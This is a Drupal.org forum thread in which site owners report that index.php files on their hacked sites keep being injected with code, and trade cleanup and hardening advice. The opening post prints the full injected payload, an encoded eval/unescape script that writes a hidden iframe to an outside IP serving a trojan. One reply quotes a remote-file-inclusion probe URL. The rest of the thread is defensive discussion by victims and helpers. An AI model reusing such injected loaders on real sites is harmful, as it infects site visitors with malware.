By uksnowy on
I have recently noticed that my site keeps going down with a parsing message about the index.php
On inspection I find that there is extra code included at the bottom of the file (included below, starting at drupal_page_footer()). When I cut out this code my site works again until it somehow manages to reapear.
Does anyone here know what this code is and how is it getting into my file??
I have questioned my ISP and they just push it back to me.
Heres hopping.
Phil.
---------------------------------------------------------------------------------------
// $Id: index.php,v 1.91 2006/12/12 09:32:18 unconed Exp $
/**
* @file
* The PHP page that serves all page requests on a Drupal installation.
*
* The routines here dispatch control to the appropriate handler, which then
* prints the appropriate page.
*/
require_once './includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
$return = menu_execute_active_handler();
// Menu status constants are integers; page content is a string.
if (is_int($return)) {
switch ($return) {
case MENU_NOT_FOUND:
drupal_not_found();
break;
case MENU_ACCESS_DENIED:
drupal_access_denied();
break;
case MENU_SITE_OFFLINE:
drupal_site_offline();
break;
}
}
elseif (isset($return)) {
// Print any value (including an empty string) except NULL or undefined:
print theme('page', $return);
}
#drupal_page_footer();<script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%39%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%31%39%35%2e%39%33%2e%32%31%38%2e%32%31%36%2f%7e%78%70%30%73%70%32%2f%6a%61%76%61%2f%75%70%64%61%74%65%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%33%35%38%35%30%29%2b%27%61%5c%27%20%77%69%64%74%68%3d%34%37%38%20%68%65%69%67%68%74%3d%37%35%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29"));
#</script>
Comments
Where it comes from, I
Where it comes from, I wouldn't know (but I would definitely like to know!!!), but when I google a little bit of the included code,
'unescape("%77%69%6e%64%6f%77%2e%', I get a couple of links begging me to visit a hardcore porn site or to consider the advantages of propecia.What kind of server are you on? Dedicated? Shared?
What are the Chmod settings of your index.php?
I'm on a shared server and
I'm on a shared server and my CHMOD settings for the index.php were/are 644.
I have since discovered that the code translates to this:
#drupal_page_footer();
eval(unescape("window.status='Done';document.write('')")); #This forum won't let me dispaly the whole script.
Basically, it is opens up an iframe on my site that connects to 195.93.3218.216 where it tries to run "update.php", which in turn tries to download some malware.
Nice!!
Giving that my CHMOD were 644, how did the hackers add this code to my index.php and how do I protect myself against it in the future?
Hello,
Hello,
A friend just give me the name of a site he found where they have a competion of hacking so it seems.
A couple of the sites I master, are listed (no Drupal ones!!!).
Once they had hacked a complete site of me and destroy any entrance. Now there were only some static html pages placed. If you click on the url's in the list it shows what they have done.
The site:
h ttp://ww w.turk-h.org/defacement/list/filter/attacker/PC/18
Kind regards,
Peter
?
Can you tell us what they did instead of sending us to a hacker site?
This looks exactly like the Wordpress hack going around a few months ago.
OP: what version are you on? ... 5.7? ... I hope not, I hope it's been fixed in Drupal too.
The site I mentioned
The site I mentioned completely hacked was done in january 2007. The site is running with Mambo server. They hacked the index.php and settings-file and also got into the database. I had to get rid of everything and build it up from scratch.
The things mentioned on the hackers site above are done in july.
I have been in contact with my hosting service and they have prepared extra security since then.
Kr,
Peter
Any news on this one? Was it
Any news on this one? Was it on older installation of Drupal? Is it a known weakness, or is it something new? Have there been attacks on other Drupal sites?
Half the Answer!!
I now understand what the code is, I just don't know how it is getting in to my script and how I can protect myself from this type of attack, which is why I am posting in this forum.
How can hackers change my script?
Is it a weakness of the Linux/Apache based sever?
Is it a weakness of the Drupal script that allows hackers to get in and change the file?
Or is it a combination of the two?
Below is an extract from my post on the ISP support forum. I have had several replies to this post informing me that iframe attacks have been around for years, some suggest that it is a weakness of the 3rd party scripts i.e. Drupal, Wordpress etc. Again, it ok knowing this stuff but how do we protect ourselves from these iframe attacks??
Extract from ISP support Forum Post
------------------------------------------------------------------------
Recently, I have noticed that my Homepages keep disappearing, with a parsing error displayed informing me that something is wrong with my index.php.
Upon inspection of index.php file, I noticed some extra code inserted at the bottom of the file. It looks something like this:
#drupal_page_footer();
eval(unescape("%77%6 9%6e%64%6f%.......................%72%61%6d%65%3e% 27%29")); #Note: I have removed the middle portion of the hex to protect readers.
Basically, this code translates to (http changed to hffp for protection):
#drupal_page_footer();
eval(unescape("windo w.status='Done';document.write('')")); #I'm not sure why, but probably for safety reasons, this forum does not show all the code
The code opens an “iframe”, an inline frame which allows another web page to be embedded within a page - But this frame is pretty sinister. It opens a 478 by 75 frame which attempts to load the webpage located at hffp://195.93.218.216/update.php ß Dangerous site, don’t go here.
update.php then tries to download a Java Trojan called baaaaa.class
I'm not sure what baaaaa.class does but it won't be nice!
Simply put, my sites were hacked. Hackers are breaking into blog and wiki sites and installing this new iframe. In some cases, they’re able to guess default passwords; in other cases, they exploit unpatched bugs in software.
The fix was simply to remove the inserted code and the site was working again. But – guess what, they can come back. A week later I noticed the same thing had happened and when I inspected my index.php file, there was the inserted code again. CHMOD for index.php was set to 644. So how are these hackers getting in – this is the million dollar question?
You still haven't told us
You still haven't told us what version you are running.
I'm guessing that's a header injection, which was fixed in probably 5.6 or 5.7
Was running 5.6 now running
Was running 5.6 now running 5.7 under advice from my ISP.
It is still happening. Third time I have been attacked now.
It appears that the hackers can write sinister code into my index.php file at will. I have chmod set to 755 at the moment.
I am talking to my ISP but they just keep saying it is a Drupal issue. Personaly, I give a ****, I'm not interested in blame. I just want some help preventing it happening.
I have a jpg of the code if someone wants to see it. I can't find the attach switch to clip it to this post.
Thank you for your help and patience.
Phil.
I'm sorry I can't be of any
I'm sorry I can't be of any direct assistance, but I would sure like to see the cause of this thing revealed too. This type of attack is THE nightmare, and it would be a service to the entire Drupal community if it could be solved.
My hunch is that one of your contributed modules is the cause of this. It would definitely make sense to go through them, and to make sure that you have used the latest versions - or at least, that you have updated those modules which, according to http://drupal.org/security, show some fallacy here or there. And if you do come across a module like that, please let this community know!
Thanks
I'll check out my third party modules. Interestingly, both of my sites have virtually the same structure and therefore modules. I'll take a look at the security site too to see if I can spot something.
Thanks for staying with me on this.
Compare Distro Files
Can you compare the distribution files for 5.7 with the files on your server, and see if any of the other files have been changed?
Or download your database and scan it for the sinister code.
Or look for mysterious user accounts.
Or look for jpg files in places they shouldn't be.
Or inspect your htaccess.
Further Help Required
Thank you for your response, you've give quite a lot to think about. Also, I am a simple muso not a computer person, so I'll need specific instructions please.
Can you compare the distribution files for 5.7 with the files on your server, and see if any of the other files have been changed?.
What is the best way to go about this? Are there tools that I require or is it just open them up one by one?
Or download your database and scan it for the sinister code. ----- How do I do scan my database??
Or look for mysterious user accounts. ------- One site did have mysterious accounts. however, thy're "last access" was never, also, I had them blocked at the time of the third attack. The second site has no user accounts other than mine, yet this was also hit by the attack.
Or look for jpg files in places they shouldn't be. --------- All looks ok here!
Or inspect your htaccess. -------- looked for the sinister code, not there. Should I look for something else?
Thanks again.
P.S. how do I attach files to these posts?
Can you compare the
download all the file from the site to your Pc and compare against a fresh distro copy on your PC. One nice tool is Winmerge. You can give it two directories and it will show all the differences. Or SyncbackSE is great for backup anyway, but doesn't show you the differences.
if you can log into your host and export your DB you can simply open it in notepad or wordpad and look around.
2
just compare to the distro version
i don't think you can. I've seen some files attached, but not sure how to do it. probably a permission thing here in Drupal.org
Thank you for the help
Thank you for the help again.
I will perform the tasks that you have outlined. It may take me alittle time to complete them but I will do them.
At the moment I am checking my index.php files everday. I am clean at the moment!
Server side files ok
Ok, here's something else I have done.
I have used a Perl script to search all the files in my home directory for the following entries:
script - one instance found but it was ok
unescape - none found
iframe - none found
So I think I can conclude that the server side files are clean.
Next I'll check the database.
you really need to do a
That's a good to hear, but you really need to do a compare against virgin files with something like WinMerge to know for sure the files are clean. In my fileset I found a strange jpg that may have had code in it. Every since my infection I scan frequently for file changes.
Still Clean!!!
So, I'm still clean after more than two weeks now, which is coincident with me changing my passwords. Which kind of leads me to think that somehow the hackers had got hold of my passwords somehow. This may also explain why they were able to edit my index.php file at will.
Also, I did download and investigate my databases. I found loads spam messages registered in there that were attached to my Guestbook. These messages were bieng trapped by some form of watchdog and weren't being displayed by the Guestbook itself, so I didn't know they were there. I have since removed the guestbook page and removed the module.
Now that I have removed the Guestbook module will my database be free of these messages or do I need to flush it somehow?
So, for me at least and for the time being, I appear to be ok again. Long may it continue.
Thanks to all who have helped out in this thread.
Are you running this Drupal
Are you running this Drupal installation in your house/office ?
If yes, have you considered auditing the security on your server(s) ?
Hi, I have same problem
Hi, I have same problem too!!!
Well, I`m from Kazakhstan, so I didn`t understand all that was written above, but I can tell you what was happened with me.
I think problem appears at 16 hours (now 20) maybe late due to times zones changes. When I opened my site I saw a:
Parse error: syntax error, unexpected '<' in /home/uchikz/public_html/index.php on line 41
I searched thorough Drupal.org and Handbooks and realize that I need to change index.php It takes me time to understand that I was never changed this file, but it vary to one I have in hard copy. Then I found this post and changed index.php file, but I get new error message: same parse error was on database.inc file. I changed it too, and all seames to be OK.
Well, as I`m not a profi in this questions I copy extra text to this post. I hope it would help understand what happened (and I hope this wouldn`t not hack Drupal.org :) :
This was at database.inc after standart /** * @} End of "defgroup database". */
And in index.php was two scripts, one on the top, and other on the bottom of file. They are similar to that I was coppied.
I`m using D5.6, and I was not installing new modules in past week.
same iframe hack
I have the same problem -- an iframe code in my index.php -- in a drupal 4.7 site that we're rebuilding and relaunching in Drupal 6. (We have lots of customizations so we can't just upgrade.)
My question is, if we create a new site in Drupal 6 and import our content, what do we need to do to avoid this problem? Is there a known vulnerability that has been fixed in 6? Thanks in advance.
If I counted correctly,
If I counted correctly, that's already the 3rd message about hacking with an iframe. I am getting a bit panicky here: are we talking about a known vulnerability here??
Maybe it would make sense that all those whose site was hacked, would compare data: what version of Drupal? What version of PHP? Of MySQL? A list of installed modules, and which versions? DOes the site run on their own server? On which platform? Is there any system in the moment of hacking? Did the hack occur "just like that", or after certain operations? What do the Drupal logs And the server logs say? This thread should not "fade away"...
Good Idea
This is an excellent Idea, it could highlight a common component.
I will post a full audit in a few days. Here's what I know now.
Sugggested list:
Drupal version: 5.7
PHP ver: 4.4.4
mySQL ver: 4.1.22
Server type: Hosted (shared)
Server Code: Apache 1.3.37
OS Platform: Linux
Module list: Aggregator, audio, block, blog, blogapi,book, cck, color, comment, contact, copyright, drupal, feedburner, filter, forum, guestbook, help, invite, legacy, linksdb, locale, menu, node, path, ping, poll, profile, search, statistics, system, taxonomy, throttle, token, tracker, uieforum, upload, user, views,
Details of Attack: iframe code inserted at the very bottom of the index.php file. I have two sites and both index.php files get attacked at the same time
The index.php permissions are set to 644. Since my last attack I have changed all my admin account passwords. I am now waiting to see if it occurs a gain.
here's a link to a picture of the code
=-=
the above type of attack could also be an insecure server in such a way that another customer on the server is doing this.
I'd begin seeking support from the host and checking the apache/http logs for clues on how this is happening.
_____________________________________________________________________
My posts & comments are usually dripping with sarcasm.
If you ask nicely I'll give you a towel : )
Done that
I did start with the host but their reply was "we just provide the hardware, it's your software (Drupal) that is corrupting". Helpful aren't they.
What do these files do? what information will they yield? Armed with specific I might challenge them again.
I would set the index to 444
I would set the index to 444 permissions. Some servers run the server under your permission instead of apache. I do not understand this. But that is what a friend who was hacked using Joomla was told. Probably best to set index.php to 444. Then people can only read it.
You might want to disallow posts and put to the index file.
My index.php file was haked too... please help
I got rid of the code on line 38 and I still can't get up and running. I do not know what to do next and where to set this 444. I would so greatly appreciate your help. Thanks, Janette
Janette Dengo / a.k.a. XOGODDESS
www.janettedengo.com
www.xogoddess.com
=-=
set it to 444 using your host panel or an FTP tool.
If you still have an error in index.php, use a new one from a fresh download and overwrite the one that is already on your site.
_____________________________________________________________________
My posts & comments are usually dripping with sarcasm.
If you ask nicely I'll give you a towel : )
What is going on actually?
What is going on actually? Are we having an epidemic of hacked sites??? That's already the 4th site which was hacked, I think. What's going on???
Either hacking epidemic or some major errors!
I posted today all my issues. Updated to a new version 6.1 from my old 5.1 still having problems. Can't access anything other then the cpanel. Here is the link to my earlier post: http://drupal.org/node/234927
If anyone has answers, I would love to hear any suggestions. Thx. J.
Janette Dengo / a.k.a. XOGODDESS
www.janettedengo.com
www.xogoddess.com
All using the same host?
All using the same host?
=-=
In xogoddess's case, she was using an insecure build of Drupal. 5.1 which is 6 security releases behind the latest release. That said, If core was that old, no telling how old some of the contrib modules in use are.
Others in this thread stated using Drupal 5.6 which is 1 secuirty release behind.
It is my experience that those who tend to be procrastinate with keeping their core up to date and secure also tend to procrastinate when it comes to keeping contrib modules up to date and secure. I highly suggest that those who aren't already, get subscribed to the drupal security newsletter in your profiles and when security updates are released for core and contib modules, you update immediately.
If this was a widespread issue, drupal.org would be hit with it as well. Considering the amount of drupal sites these days 4 - 5 sites being injected are hardly panic worthy.
_____________________________________________________________________
My posts & comments are usually dripping with sarcasm.
If you ask nicely I'll give you a towel : )
Thank you... I'll be back
Thank you, sincerely for the towel too :) "verymisunderstood"... Great suggestion on signing up to receive updates, I wasn't aware. I'm still in the learning stages however, tugging at it daily. The forum helped and is helping greatly. I'm just recovering after surgery so I will be back in a day or two. I am still unable to clear up some issues. thx for everything everyone. Janette
Janette Dengo / a.k.a. XOGODDESS
www.janettedengo.com
www.xogoddess.com
Three Drupal 6.2 sites hacked
I got the same problem as described above, but I'm running D6.2 in three different sites! Two are accessible via links in a static frontpage and the third one is only known to me. All three sites showed the same parsing error on line 40. after the drupal footer line.
I'm afraid we have a serious problem at hand
Eljay
Passwords
I'm still clean!!
Since I changed my root account password I have remained clean. This could be that the hackers have got bored with me and moved on or the password change has been successful.
I'll continue to monitor every day for the time being, just in case.
Fixes pre-upgrading
We changed all our admin passwords but are still not clean, nor can we find the malicious file or script. Now, when you do a google search of our site, it returns "this site may harm your computer" below each of our titles.
We're running 4.7 (I know, I know) on Site5 servers.
We're rebuilding and migrating to Drupal 6, but in the meantime, what can we do to ID and correct this error? And can you tell a total newbie how to set the security to 444.
Is this posted as a known security issue?
Thanks.
this thread documents another instance of same
another instance: http://drupal.org/node/138035
444 permissions can be set
444 permissions can be set with the "chmod" command if you have root/command access on your Linux server, or, if you don't have that, with any decent FTP program. With WS_FTP or SmartFTP, for instance, you right-click any file or folder on your site, and mark the appropriate tick boxes. THe result is a 3 digit number, indicating the accessibility. Mind you, Chmod settings are not at all the ultimate answer to security! They are just one additional thing you can do to make your site a little bit safer, but they are not at all sufficient. Wikipedia has a bit of explanation: http://en.wikipedia.org/wiki/Chmod .
Are you on a shared server?
The changes may not be originating from your account on shared servers. There are known security risks in using a shared server environment. If another account gets hacked they may have gotten server wide access. If your host is using CPanel, that may be another way that that is occurring. Apache and PHP need read write access to files and the same Apache process has those permissions on all websites hosted by that server.
If you have FTP access to your server that may be another way.
I would change all my passwords and make sure I'm using V3ry_SeCurE_pasSW0rds. I would also virus scan all my files and directories and go through them to look for anything suspicious. Check all logs that I have access to that might hold a clue.
Another option would be to rename a clean copy of the file and occasionally check the index.php against the clean copy. Or do a checksum of a clean copy and have the current version of index.php checked against that at a periodic interval. Have the process email you when there is a difference detected. Once you have your site secured, have the check run much less often, to lessen server load and improve site load times, until another problem is detected.
Index Hacked Too
Just wanted to report that I too had the same problem. The index was giving me a unexpected > on line 38 error, so I re-uploaded my index and all seemed fine. I just checked it again and it looks fine, but has the same script at the top. I don't think this is an issue with my provider (Startlogic) as I have a site hosted in a folder above this on the FTP server and that is fine, so they would've gone right past one site to get to another. Interestingly, going into the Admin Panel brings up errors with the Gallery.
Cannot modify header information - headers already sent by (output started at <edited>/main.php:644) in <edited>/includes/common.inc on line 314.Disabling the Gallery module fixed the problem so it is definitely something with that, at least for me. I'm running 5.x.2.0 for the module so going to upgrade to 5.x.2.2 to see if that fixes the issue. Drupal version is 5.7
UPDATE: Upgrading to the latest version of the Gallery Module did not fix the problem. I turned off the module and the code disappeared, I then turned it back on again and the code reappeared. My index.php is clean (no bad code in it).
=-=
I'm running the gallery module without issue. Tht said which version of the Gallery script is in use ?
2.2.4 I'd hope ?
_____________________________________________________________________
My posts & comments are usually dripping with sarcasm.
If you ask nicely I'll give you a towel : )
Yep, 2.2.4
Yep, 2.2.4
=-=
Only difference between you and I then, other then our host, is that I use the latest -dev build of the gallery.module
_____________________________________________________________________
My posts & comments are usually dripping with sarcasm.
If you ask nicely I'll give you a towel : )
Hmm, I might try the dev
Hmm, I might try the dev version. Otherwise I'll probably just delete and re-install the Gallery Module to see if it goes away.
UPDATE: I just took a look at my gallery files and Index.php and Main.php were updated my someone on the 6th, and when I try to download them it says they are infected. So it could be an issue with gallery itself. The weird thing it that I can't find the code if I visit the Gallery directly, so it only shows up on Drupal. Anyways, I'm going to re-upload those files and see if that fixes the problem.
Just thought I would put in
Just thought I would put in an update. I found out that somehow the Gallery (not the module, the actual Gallery) index.php and main.php had the code injected into those too. I re-uploaded fresh copies and all seems to be well. Weird thing is that the folder's permission are 555. I guess that doesn't prevent editing of files. What does the 555 do then?
555 means
555 on a directory allows you to read and enter a directory. If it is a file that means that you can read and execute file.
Still Clean
I am still clean. It is well over a month now since i changed my passwords to the accounts. So, for me, this was most likley the fix and the route that the hackers were using to get access to my files. The question beckons, how did they get my password? There are probably too many answers to that question!!
Thanks for everyones input.
Index.php hacked
Someones hacking my site 2. It was hacked yesterday, I cleaned the index.php file then today it was hacked again..
index.php is set to 644
These lines appear in the index.php
Code was also inserted into the index.html
I'm running Drupal 5.1, i know I should update to the latest version but I got so many mods and configurations set that it would take me days to update everything.
Seems like people agree that its not a problem with the host.. anyone confirm this?
Can't guarantee anything,
Can't guarantee anything, but if you're hacked and don't have time, I'd say to start with the easiest measures. In this case, I would definitely change the passwords of your Drupal site, but also of your FTP access and your MySQL database. See what happens then in the next few days. If you're still getting hacks, an update is mandatory (well, even without hacks it actually is, but since you don't have the time...). Keep us informed here.
=-=
It won't take days, not at all. have you even read how to update ? have you watched any of the videos on how to update? If you have, what exactly do mods ? and configurations have to do with anything when it comes to an upgrade? want the answer?..... nothing. you don't have to reset up configurations or mods or any of the like.
Running an insecure version of Drupal when you know you should update is just plain lazy and irresponsible to your site users, yourself and any one else on your server.
I'd also have to figure if you are lazy about updating core, you are also lazy about updating contrib modules. If so, there is no way to know what is going on with your site in reality.
get your site updated to the latest, most secure version of Drupal 5.x, double and triple check your contrib modules to insure you are running the latest most secure versions of contrib modules.
Be a responsible drupal site developer and maintainer.
_____________________________________________________________________
My posts & comments are usually dripping with sarcasm.
If you ask nicely I'll give you a towel : )
Knock on wood
I don't have this hacking problem but is there an automated way to update contributed modules or email lists for module updates in Drupal 5.7? If not, then I am going to bookmark all contributed module pages and will check them periodically for updates.
=-=
subscribe to the security newsletter in your profile here at drupal.org to get emailed when core or a contrib module has been patched for security purposes.
beyond that you can check the downloads page by using the date tab, there may be an RSS feed but I prefer to check the date tab regularly.
_____________________________________________________________________
My posts & comments are usually dripping with sarcasm.
If you ask nicely I'll give you a towel : )
I just started using the
I just started using the Update Status module (located: http://drupal.org/project/update_status) and it does exactly that. Seems to work Ok, picks up most of the modules I have.
Very true what you say. Will
Very true what you say. Will be updating it shortly.
By the way changed index.php permissions to 444 and have not been hacked yet.
Will update if anything changes..
You could check your logs
You could check your logs and see who hacked your site. Then report them. You could set your index to 444. As mentioned above changing passwords and updating are good measures.
Me too: iframe hack. Webcalendar responsible?
My Drupal 5.2 site has been hacked, too. Someone added an
iframestatement to index.php so that on every page of my site several windows popped up, asking users to install an .exe file to play porn videos. Actually, my site has become unusable because of all those windows popping up.As I couldn't find the
iframestatement neither in the MySQL database nor in any of the Drupal files (except for index.php) I didn't know how to get rid of the malicious code which modified my index.php.For now, I blame a corrupt Webcalender distribution as the main security hole (working hypothesis):
Analyzing my downloaded infected site with AVG AntiVirus 7.5, a trojan horse was found in some of my Webcalendar files (Perl source code). I installed Drupal's webcal module together with a Webcalendar distribution a few months ago. Though I never used it on my site, the files still were on the server hosting my website (I simply forgot to delete them). I found some hidden subdirectories containing cron files.
Furthermore, browsing the log files I noticed a Brazilian server trying to access
webcalendar/tools/send_reminders.phpandwebcalendar/ws/login.php?noSet=0&includedir=http://www.waddington.ws/xt.dat???repeatedly.By searching several pages of my site in Google's cache, I finally found out that the latest "clean" version of my website dated three days ago. I installed the corresponding backup copy of the entire site, deleted all of the Webcalendar files, upgraded to Drupal 5.7 (as I should have done earlier...), changed all of my passwords, changed permissions of index.php to "444" and added a line of code at the end of index.php:
return 0;(as proposed in http://drupal.org/node/233516#comment-774008). All in all it took me a whole day to restore my entire website and to apply updates and changes I made after the date of the last "clean" backup.What I have learned:
Until today, my site is still clean.
Servage?
I've had this happen to me three times now, all on Servage.net, on two totally unrelated accounts (a clients)
Different flavours of exploit.
The first two (encoded script injections) totally broke Drupal, which brought it to my attention.
The third managed to not break it, and tried to do something insidious to any visitor. Glad I wasn't on IE when I went to check.
My rights were locked down well - my FTP account and www-daemon are different, and there was no way a web process could have modified those files.
As the site is running only Drupal, and the scripted attack just pasted code into the bottom of the first index file it found - thus killing its host, I pretty much ruled Drupal out as an attack vector.
The first time this happened (client site), Servage just said change the password. This one was a weak dictionary word, so I shrugged, wagged my finger at the client, and replaced from backup.
Then a bit later it happened on another site I maintain, and this wasn't a weak password at all. And I started to get worried about the host.
I brought it up with the ISP [Servage] in great forensic detail... with timestamps of the file changes warning them of attacks on their clients and suggesting they do a quick scan to see if any other sites were targeted. I also asked to see, or have someone else look at the FTP logs for a very specific (2 minute) window of activity to see if it was a remote or local process doing this thing.
... they told me to change my password and closed the ticket.
OK, so there is a 1/76,000,000 chance that my password was guessed or sniffed. So I change it to something even less memorable
Two weeks later it happens again.
My only explanation now is that :
- there is an exploit loose on their internal system with greater admin rights than I or my web process possess
or
- there is no protection against brute-force password guessing, and this will keep on happening.
I offered more information, and pleaded with them to have someone who knows how to use grep or read logs actually administer their server.
No joy. They said to change the password and told me to restore from backup. Not good.
So I hassle a bit more, insisting they see if anyone else on that cluster is affected and get
"Our admins are aware of the problem and are looking into it"
- and they close the ticket.
This is why I no longer recommend Servage.net
.dan.
How to troubleshoot Drupal | http://www.coders.co.nz/
.dan. is the New Zealand Drupal Developer working on Government Web Standards
That stinking iframe attack
That stinking iframe attack is all over the place. I was reading this morning that one way to do it was with SQL injection. Of course no one wants to go into detail about what's actually happening, because they don't want to instruct bad guys.
Your story of Servage is not good. I've heard of them but don't recall ... are they a bargain host? Hostgator and Myriad, have been very quick and thorough and knowledgeable in tech support for me. I've learned a long time ago to be respectful of the tech support guys though, and that seems to help. (not saying you weren't)
Believe me, I've done a few
Believe me, I've done a few years in tech support, so I had my humblest hat on! No finger pointing, lots of extra research on my part ...
As for servage, it looks like experiences are mixed
whatever this exploit is, SQL injection wasn't the one for me. It's conceivable that they can scrape my database password from a Drupal or script exploit ... but it was different from the one used to modify files, which would have been needed. Getting two different ones was a worry also.
.dan.
How to troubleshoot Drupal | http://www.coders.co.nz/
.dan. is the New Zealand Drupal Developer working on Government Web Standards
Me too!
This just happened to me today. I was in one of my sites blogging and when I clicked on another blog to comment that error popped up about the parse error on line 40. I pulled up my other site and the same thing had happened to that one! I went into my index file and checked it and saw that huge string of stuff, but didn't know why it was there. I googled it and found this message and was able to fix it quickly! I never had any issue with the Iframes thing, maybe because I caught it within about 5 minutes of it happening?
I changed passwords to every area, then I went in to my ftp settings and saw that my "anonymous ftp" settings were defaulted to ALLOW ANON USERS to login without a password??? Why would that be on automatically? Unchecked that box so hopefully I won't have this problem again.
Also upgraded from 6.1 to 6.2, although one of the sites was already at 6.2 so I'm not sure if that was a problem or not.
Anyway, I'm glad someone had a solution posted on how to fix it at this time. I'll keep checking to see if anyone has a clear picture on exactly how it happened.
Someone has been hacking my
Someone has been hacking my site too.
They have been putting 2 different things on the main page, and hacked my wordpress 2 times back when i had it.
On my main page, its completely written in HTML, but had 2 iframes so me and my friend can post the latest news.
The first type of stuff they added was similar to your javascript encrypted code, so after searching for like an hour on how to decrypt it, i found out that you have to change all the document.write to alert, and that will change it, so that instead of executing the code, it will tell you what it does in an alert box. Mine said it was supposed to open an iframe with some url i couldnt find on google. I didnt want to execute the code directly, because ive read that it can redirect to sites with harmful stuff. This javascript code has happened 2 times on the main page, and ive never seen it again.
The second type of thing they did to my site was somehow manage to insert hundreds of hidden links after the part of my site. I copied all the links and put them in notepad, and removed it from my site, all the tons of links were obvious when loading the page, well because it was actually loading the page, and it only has like 2 iframes with text in it, and it also showed a ton of flashing stuff in the status bar, it was loading all the links too. So, after i removed it from my site, i just picked like 2 urls at random and search that on google. it wasnt found at all. This stuff that was on my site keeps reappearing every once a month or so, and im still puzzled at how they do it, because as i said, my site is written in HTML, no programming to inject into, and the main password for my site has 2 words, and a certain amount of numbers that im not going to say.
One thing ive been doing ever since is deleting a ton of unused cr@p from my site.
...The internet was made to transfer information to a select few other people. Today, we cant send information to other people without it being altered and making lots of money in your bank go away...
It is not uncommon for an
It is not uncommon for an attacker who gains escalated privileges on a shared hosting server to run a script that searches for index files and appends hostile code snippets to them. Contact abuse@ your host.
--
Erik
https://twitter.com/erik_smith
Yeah
I have before, but they said they would look into it, and since then the attacks have only been increasing. XD